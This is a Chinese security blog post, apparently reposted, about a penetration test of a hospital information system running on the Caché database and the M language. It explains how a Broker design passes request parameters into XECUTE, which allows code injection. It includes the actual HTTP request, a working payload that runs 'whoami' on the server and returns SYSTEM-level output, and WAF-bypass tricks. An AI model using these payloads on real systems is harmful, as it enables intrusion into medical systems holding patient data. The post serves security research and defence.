医疗领域的隐形门-M与Caché

admin 2026-07-03 05:42:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了针对使用Caché数据库和M语言的医疗系统进行渗透测试的过程。作者通过分析报错信息识别出Broker架构中的代码注入漏洞,利用M语言特性实现了从注入到远程代码执行(RCE)的完整攻击链。文章提供了具体payload和利用技巧,包括文件读取、命令执行和WAF绕过方法,并指出国内医疗系统(尤其是东华)普遍存在此类风险。 综合评分: 85 文章分类: 渗透测试,红队,内网渗透


cover_image

医疗领域的隐形门-M与Caché

原创

Sp1ke Sp1ke

Tide安全团队

2026年7月2日 17:30 山东

在小说阅读器读本章

去阅读

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!

0x01 前言

前段时间在做测试时遇到了一套His系统,使用的Caché作为数据库、M作为程序语言,使用AI配合对参数的挖掘,也是实现了从注入到RCE的过程;由于针对Caché/M的安全研究搜索了全网的资料发现仅有几篇、国内医疗系统提供商东华内部Caché/M的占比不低,因此分享我此次测试过程,希望能够对各位大佬做医疗领域的攻防时有些帮助。

由于时间过去很久,主页截图已经无了,分享就直接从数据包开始。原生数据包如下:

POST /imedical/web/csp/dhc.bdp.ext.datatrans.csp?pClassName=web.DHCBL.CT.SSUser&pClassMethod=GetTreeJson HTTP/1.1
Host:
Connection: keep-alive
Content-Length: 60
Origin:
X-Requested-With: XMLHttpRequest
User-Agent:
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8;q=0.8
Cookie:

Type=CTPCPSpecDR&hospid=2&limit=20&ParentID=TreeRoot

漏洞证明:

0x02 初步测试

原始响应:

{"data":"正常数据"}

看到id肯定要试试注入测试。先试试一个双引号。

Type=CTPCPSpecDR&hospid=2"&limit=20&ParentID=TreeRoot
Error
...
Error: <b>&lt;SYNTAX&gt;zCMExecute+5^web.BDP.sys.Broker.1</b><br>
ErrorNo: <b>5002</b><br>
CSP Page: <b>/imedical/web/csp/dhc.bdp.ext.datatrans.csp</b><br>
Namespace: <b>DHC-APP</b><br>
Class: <b>web.BDP.sys.Broker</b><br>
Routine: <b>web.BDP.sys.Broker.1</b><br>
Location: <b>zCMExecute+5</b><br>
Line: <b>     XECUTE myMethod</b><br>

发现这个报错,会是数据库报错吗?再试试

Type=CTPCPSpecDR&hospid=2""&limit=20&ParentID=TreeRoot
{"data":"正常数据"}
Type=CTPCPSpecDR&hospid=2"""&limit=20&ParentID=TreeRoot
Error
...
Error: <b>&lt;SYNTAX&gt;zCMExecute+5^web.BDP.sys.Broker.1</b><br>
ErrorNo: <b>5002</b><br>
CSP Page: <b>/imedical/web/csp/dhc.bdp.ext.datatrans.csp</b><br>
Namespace: <b>DHC-APP</b><br>
Class: <b>web.BDP.sys.Broker</b><br>
Routine: <b>web.BDP.sys.Broker.1</b><br>
Location: <b>zCMExecute+5</b><br>
Line: <b>     XECUTE myMethod</b><br>
Type=CTPCPSpecDR&hospid=2""""&limit=20&ParentID=TreeRoot
{"data":"正常数据"}

嗯?难道是SQL注入?那我岂不是

然而现实给我我迎头重击,sqlmap无论换什么姿势都跑不出,回头一看sqlmap不支持Caché,,,手注也没有办法,回到报错仔细研究了下。看到报错里有关键字,Line: <b> XECUTE myMethod</b><br>,上网搜索了一下XECUTE,确定为Caché数据库,那么问题出在哪了。难道是下图里的”M”程序的问题?

0x03 MUMPS语言和Caché

看了不得不了解一下M语言了。

在程序语言领域,从我们这一代作为初学者时开始,语言和数据库,好像从来都是分离的。最多就是一些语言和数据库的强关联,例如Java和Oracle,.NET和Sqlserver等等。Mysql诞生于1995年,Oracle诞生于1970,Sqlserver诞生于1980年左右。然而在20世纪60年代,有这么一群不堪忍受病房病例和病人信息记录效率底下的程序员,开发出了数据库和语言为一体的语言–M语言。M语言诞生后因为其高性能的特性,迅速风靡了整个医疗领域,在国内外都有它的身影。1997年,InterSystems公司基于M语言推出了M语言编写的数据库–Caché。为Caché数据库添加了面向对象、SQL支持和高性能缓存技术。由于垂直领域的特性和性能原因,直到今天,Caché在国内外医疗领域依然占有相当大的份额。

0x04 极速与极简-“精打细算”的语言

以Python为对照,M语言的许多值均可进行缩写,例如SET可以缩写为S等等,常见语法和缩写参见下表。

了解了部分M语言语法后,下一步需要了解关于受测系统的设计模式怎样的。

0x05 万能插口-Broker架构的短板

在报错中,我注意到一个频繁出现的关键词Broker

Error
...
Error: <b>&lt;SYNTAX&gt;zCMExecute+5^web.BDP.sys.Broker.1</b><br>
ErrorNo: <b>5002</b><br>
CSP Page: <b>/imedical/web/csp/dhc.bdp.ext.datatrans.csp</b><br>
Namespace: <b>DHC-APP</b><br>
Class: <b>web.BDP.sys.Broker</b><br>
Routine: <b>web.BDP.sys.Broker.1</b><br>
Location: <b>zCMExecute+5</b><br>
Line: <b>     XECUTE myMethod</b><br>

如果你用过插座,你就能理解Borker。插座不关心插头连接的是什么电器,插座只需要提供电流就可以。类比到编程里,前端的请求在后端,只需要前端请求里携带好类名,方法名,参数,直接去后端找相关的业务逻辑。在M语言的设计里,这个过程更加便捷,通过上表清楚XECUTE可以直接将字符串当作代码运行,只需要用以下代码,就可以实现一个前后端之间的”插座”。

XECUTE"d ##class("_pClassName_")."_pClassMethod_"(args)"

而在传统的MVC架构中,这个过程可能需要Controller,路由映射来协助完成。

@("/GetPatient")
method1
@("/DeletePatient")
method2
...

相当于将Java反射从后端搬到了前端来,省去了配置路由等等的工作过程,为开发省去了代码量。而眼下这套医疗系统,貌似使用了同样的手法;那么,代价是什么呢? 分析系统环境请教AI大人后,得到后端的代码可能如下:

有这么一群神通广大的贵Coder,没有做插座的任何“断电保护”,导致房间失火。

测试发现系统在进入函数调用、数据查询前,对用户输入没有任何过滤,当hospid等于");s a="(,返回的响应是正常数据。

这个时候对应位置的代码就变成了:

s myMethod = "d ##class("_pClassName_")."_pClassMethod_"("_type_","");s a =("")"之间,为我们留下了代码注入空间,这时候只需要使用以上表格的对应M代码来完成注入即可。

Payload即") s f="tmp.txt" d $zf(-1,"whoami > "_f) s t=##class(%Stream.FileCharacter).%New() d t.LinkToFile(f) w "Result:[",t.Read(),"]" d t.%Close() n o s o=##class(%File).Delete(f) s a=("

进行拆解:

获得响应

HTTP/1.1 200 OK

Result:[nt authority\system
]{data:{正常数据}

0x06 薛定谔的注入-从SQL注入到代码注入的判断

在我此前的经验中,对于一般参数的sql注入判断也是通过逐次+1输入双引号/单引号来做的,这次误打误撞实现了代码注入,其实有很大运气成分;问了AI,在M语言中,想要在字符串中表示一个双引号,需要用另一个双引号来转义,这就成为了和我的经验同样的效果。为了便于理解,接下来被转义的双引号我使用\”来表示

当我输入2"时,s myMethod = "d ##class("_pClassName_")."_pClassMethod_"("_type_","2"")",语句中原本用于闭合用户输入的右双引号,被用户输入的双引号转义为了一个字符串中的双引号。这里的字符串就变成了2",而XEXCUTE执行时的语句就变成了d ##class("_pClassName_")."_pClassMethod_"("_type_","2\"),能发现后面还缺一个引号闭合语句,导致了报错

所以当我输入2"""d ##class("_pClassName_")."_pClassMethod_"("_type_","2""")",XEXCUTE执行时的语句就变成了d ##class("_pClassName_")."_pClassMethod_"("_type_","2\""),后面同样存在一个引号闭合语句,编译通过。因此造成了SQL注入的错觉。

0x07 常见利用

当小伙伴们在医疗系统(尤其是东华)测试遇到引号闭合但是sql注入换多个payload,sqlmap跑不出结果时,不妨试试M代码注入。

在遇到类似的回显报错时,可以直接使用我的payload尝试。

无回显出网时,可以使用以下Payload进行测试

利用M语言来进行文件读取

数据库操作

WAF绕过可用到的特性

Caché所使用的连接符:_ 从ASCII码获取字符函数: $c()

例如SET关键词被过滤,就可以用$c(83)_$c(101)_$c(116)代替。

今天关于Caché的分享就到这里了。

0x08 参考链接

https://mp.weixin.qq.com/s/8W4gNjDbdB0GnWE4QNzIQQ

https://mp.weixin.qq.com/s/stSlpohH3Fl8_9qayYfihQ

往期推荐

TscanPlus-一款红队自动化工具

潮影在线免杀平台上线了

自动化渗透测试工具开发实践

【红蓝对抗】利用CS进行内网横向

一个Go版(更强大)的TideFinger

SRC资产导航监测平台Tsrc上线了

新潮信息-Tide安全团队2022年度总结

记一次实战攻防(打点-Edr-内网-横向-Vcenter)

E

N

D

Tide团队产品及服务

团队自研平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ……

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ……

团队网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ……


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Tide安全团队 Sp1ke Sp1ke《医疗领域的隐形门-M与Caché》

评论:0   参与:  0